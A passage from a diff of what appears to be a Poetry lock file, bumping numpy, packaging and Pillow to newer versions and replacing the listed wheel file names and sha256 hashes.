"numpy-1.24.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f136bab9c2cfd8da131132c2cf6cc27331dd6fae65f95f69dcd4ae3c3639c810"}, - {file = "numpy-1.24.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2926dac25b313635e4d6cf4dc4e51c8c0ebfed60b801c799ffc4c32bf3d1254"}, - {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:222e40d0e2548690405b0b3c7b21d1169117391c2e82c378467ef9ab4c8f0da7"}, - {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7215847ce88a85ce39baf9e89070cb860c98fdddacbaa6c0da3ffb31b3350bd5"}, - {file = "numpy-1.24.4-cp311-cp311-win32.whl", hash = "sha256:4979217d7de511a8d57f4b4b5b2b965f707768440c17cb70fbf254c4b225238d"}, - {file = "numpy-1.24.4-cp311-cp311-win_amd64.whl", hash = "sha256:b7b1fc9864d7d39e28f41d089bfd6353cb5f27ecd9905348c24187a768c79694"}, - {file = "numpy-1.24.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1452241c290f3e2a312c137a9999cdbf63f78864d63c79039bda65ee86943f61"}, - {file = "numpy-1.24.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:04640dab83f7c6c85abf9cd729c5b65f1ebd0ccf9de90b270cd61935eef0197f"}, - {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5425b114831d1e77e4b5d812b69d11d962e104095a5b9c3b641a218abcc050e"}, - {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd80e219fd4c71fc3699fc1dadac5dcf4fd882bfc6f7ec53d30fa197b8ee22dc"}, - {file = "numpy-1.24.4-cp38-cp38-win32.whl", hash = "sha256:4602244f345453db537be5314d3983dbf5834a9701b7723ec28923e2889e0bb2"}, - {file = "numpy-1.24.4-cp38-cp38-win_amd64.whl", hash = "sha256:692f2e0f55794943c5bfff12b3f56f99af76f902fc47487bdfe97856de51a706"}, - {file = "numpy-1.24.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2541312fbf09977f3b3ad449c4e5f4bb55d0dbf79226d7724211acc905049400"}, - {file = "numpy-1.24.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9667575fb6d13c95f1b36aca12c5ee3356bf001b714fc354eb5465ce1609e62f"}, - {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3a86ed21e4f87050382c7bc96571755193c4c1392490744ac73d660e8f564a9"}, - {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d11efb4dbecbdf22508d55e48d9c8384db795e1b7b51ea735289ff96613ff74d"}, - {file = "numpy-1.24.4-cp39-cp39-win32.whl", hash = "sha256:6620c0acd41dbcb368610bb2f4d83145674040025e5536954782467100aa8835"}, - {file = "numpy-1.24.4-cp39-cp39-win_amd64.whl", hash = "sha256:befe2bf740fd8373cf56149a5c23a0f601e82869598d41f8e188a0e9869926f8"}, - {file = "numpy-1.24.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:31f13e25b4e304632a4619d0e0777662c2ffea99fcae2029556b17d8ff958aef"}, - {file = "numpy-1.24.4-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95f7ac6540e95bc440ad77f56e520da5bf877f87dca58bd095288dce8940532a"}, - {file = "numpy-1.24.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e98f220aa76ca2a977fe435f5b04d7b3470c0a2e6312907b37ba6068f26787f2"}, - {file = "numpy-1.24.4.tar.gz", hash = "sha256:80f5e3a4e498641401868df4208b74581206afbee7cf7b8329daae82676d9463"}, +python-versions = "<3.13,>=3.9" +files = [ + {file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"}, + {file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"}, + {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"}, + {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"}, + {file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"}, + {file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"}, + {file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"}, + {file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"}, + {file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"}, + {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"}, + {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"}, + {file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"}, + {file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"}, + {file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"}, + {file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"}, + {file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"}, + {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"}, + {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"}, + {file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"}, + {file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"}, + {file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"}, + {file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"}, + {file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"}, + {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"}, + {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"}, + {file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"}, + {file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"}, + {file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"}, + {file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"}, + {file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"}, + {file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"}, + {file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"}, ] [[package]] name = "packaging" -version = "23.1" +version = "23.2" description = "Core utilities for Python packages" optional = false python-versions = ">=3.7" files = [ - {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, - {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, + {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"}, + {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"}, ] [[package]] @@ -1445,67 +1441,65 @@ files = [ [[package]] name = "pillow" -version = "10.0.0" +version = "10.1.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.8" files = [ - {file = "Pillow-10.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891"}, - {file = "Pillow-10.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614"}, - {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b"}, - {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c"}, - {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1"}, - {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf"}, - {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3"}, - {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992"}, - {file = "Pillow-10.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de"}, - {file = "Pillow-10.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485"}, - {file = "Pillow-10.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f"}, - {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3"}, - {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d"}, - {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd"}, - {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629"}, - {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538"}, - {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d"}, - {file = "Pillow-10.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f"}, - {file = "Pillow-10.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37"}, - {file = "Pillow-10.0.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883"}, - {file = "Pillow-10.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e"}, - {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640"}, - {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568"}, - {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223"}, - {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff"}, - {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551"}, - {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5"}, - {file = "Pillow-10.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199"}, - {file = "Pillow-10.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca"}, - {file = "Pillow-10.0.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3"}, - {file = "Pillow-10.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3"}, - {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43"}, - {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d"}, - {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530"}, - {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51"}, - {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86"}, - {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7"}, - {file = "Pillow-10.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0"}, - {file = "Pillow-10.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa"}, - {file = "Pillow-10.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90"}, - {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967"}, - {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d"}, - {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3"}, - {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba"}, - {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3"}, - {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017"}, - {file = "Pillow-10.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6"}, - {file = "Pillow-10.0.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0"}, - {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba"}, - {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3"}, - {file = "Pillow-10.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334"}, - {file = "Pillow-10.0.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2"}, - {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed"}, - {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684"}, - {file = "Pillow-10.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3"}, - {file = "Pillow-10.0.0.tar.gz", hash = "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396"}, + {file = "Pillow-10.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1ab05f3db77e98f93964697c8efc49c7954b08dd61cff526b7f2531a22410106"}, + {file = "Pillow-10.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6932a7652464746fcb484f7fc3618e6503d2066d853f68a4bd97193a3996e273"}, + {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f63b5a68daedc54c7c3464508d8c12075e56dcfbd42f8c1bf40169061ae666"}, + {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0949b55eb607898e28eaccb525ab104b2d86542a85c74baf3a6dc24002edec2"}, + {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:ae88931f93214777c7a3aa0a8f92a683f83ecde27f65a45f95f22d289a69e593"}, + {file = "Pillow-10.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b0eb01ca85b2361b09480784a7931fc648ed8b7836f01fb9241141b968feb1db"}, + {file = "Pillow-10.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d27b5997bdd2eb9fb199982bb7eb6164db0426904020dc38c10203187ae2ff2f"}, + {file = "Pillow-10.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7df5608bc38bd37ef585ae9c38c9cd46d7c81498f086915b0f97255ea60c2818"}, + {file = "Pillow-10.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:41f67248d92a5e0a2076d3517d8d4b1e41a97e2df10eb8f93106c89107f38b57"}, + {file = "Pillow-10.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1fb29c07478e6c06a46b867e43b0bcdb241b44cc52be9bc25ce5944eed4648e7"}, + {file = "Pillow-10.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2cdc65a46e74514ce742c2013cd4a2d12e8553e3a2563c64879f7c7e4d28bce7"}, + {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50d08cd0a2ecd2a8657bd3d82c71efd5a58edb04d9308185d66c3a5a5bed9610"}, + {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:062a1610e3bc258bff2328ec43f34244fcec972ee0717200cb1425214fe5b839"}, + {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:61f1a9d247317fa08a308daaa8ee7b3f760ab1809ca2da14ecc88ae4257d6172"}, + {file = "Pillow-10.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:a646e48de237d860c36e0db37ecaecaa3619e6f3e9d5319e527ccbc8151df061"}, + {file = "Pillow-10.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:47e5bf85b80abc03be7455c95b6d6e4896a62f6541c1f2ce77a7d2bb832af262"}, + {file = "Pillow-10.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a92386125e9ee90381c3369f57a2a50fa9e6aa8b1cf1d9c4b200d41a7dd8e992"}, + {file = "Pillow-10.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:0f7c276c05a9767e877a0b4c5050c8bee6a6d960d7f0c11ebda6b99746068c2a"}, + {file = "Pillow-10.1.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:a89b8312d51715b510a4fe9fc13686283f376cfd5abca8cd1c65e4c76e21081b"}, + {file = "Pillow-10.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:00f438bb841382b15d7deb9a05cc946ee0f2c352653c7aa659e75e592f6fa17d"}, + {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d929a19f5469b3f4df33a3df2983db070ebb2088a1e145e18facbc28cae5b27"}, + {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a92109192b360634a4489c0c756364c0c3a2992906752165ecb50544c251312"}, + {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:0248f86b3ea061e67817c47ecbe82c23f9dd5d5226200eb9090b3873d3ca32de"}, + {file = "Pillow-10.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9882a7451c680c12f232a422730f986a1fcd808da0fd428f08b671237237d651"}, + {file = "Pillow-10.1.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:1c3ac5423c8c1da5928aa12c6e258921956757d976405e9467c5f39d1d577a4b"}, + {file = "Pillow-10.1.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:806abdd8249ba3953c33742506fe414880bad78ac25cc9a9b1c6ae97bedd573f"}, + {file = "Pillow-10.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:eaed6977fa73408b7b8a24e8b14e59e1668cfc0f4c40193ea7ced8e210adf996"}, + {file = "Pillow-10.1.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:fe1e26e1ffc38be097f0ba1d0d07fcade2bcfd1d023cda5b29935ae8052bd793"}, + {file = "Pillow-10.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7a7e3daa202beb61821c06d2517428e8e7c1aab08943e92ec9e5755c2fc9ba5e"}, + {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:24fadc71218ad2b8ffe437b54876c9382b4a29e030a05a9879f615091f42ffc2"}, + {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1d323703cfdac2036af05191b969b910d8f115cf53093125e4058f62012c9a"}, + {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:912e3812a1dbbc834da2b32299b124b5ddcb664ed354916fd1ed6f193f0e2d01"}, + {file = "Pillow-10.1.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:7dbaa3c7de82ef37e7708521be41db5565004258ca76945ad74a8e998c30af8d"}, + {file = "Pillow-10.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9d7bc666bd8c5a4225e7ac71f2f9d12466ec555e89092728ea0f5c0c2422ea80"}, + {file = "Pillow-10.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:baada14941c83079bf84c037e2d8b7506ce201e92e3d2fa0d1303507a8538212"}, + {file = "Pillow-10.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:2ef6721c97894a7aa77723740a09547197533146fba8355e86d6d9a4a1056b14"}, + {file = "Pillow-10.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0a026c188be3b443916179f5d04548092e253beb0c3e2ee0a4e2cdad72f66099"}, + {file = "Pillow-10.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:04f6f6149f266a100374ca3cc368b67fb27c4af9f1cc8cb6306d849dcdf12616"}, + {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb40c011447712d2e19cc261c82655f75f32cb724788df315ed992a4d65696bb"}, + {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a8413794b4ad9719346cd9306118450b7b00d9a15846451549314a58ac42219"}, + {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c9aeea7b63edb7884b031a35305629a7593272b54f429a9869a4f63a1bf04c34"}, + {file = "Pillow-10.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b4005fee46ed9be0b8fb42be0c20e79411533d1fd58edabebc0dd24626882cfd"}, + {file = "Pillow-10.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4d0152565c6aa6ebbfb1e5d8624140a440f2b99bf7afaafbdbf6430426497f28"}, + {file = "Pillow-10.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = 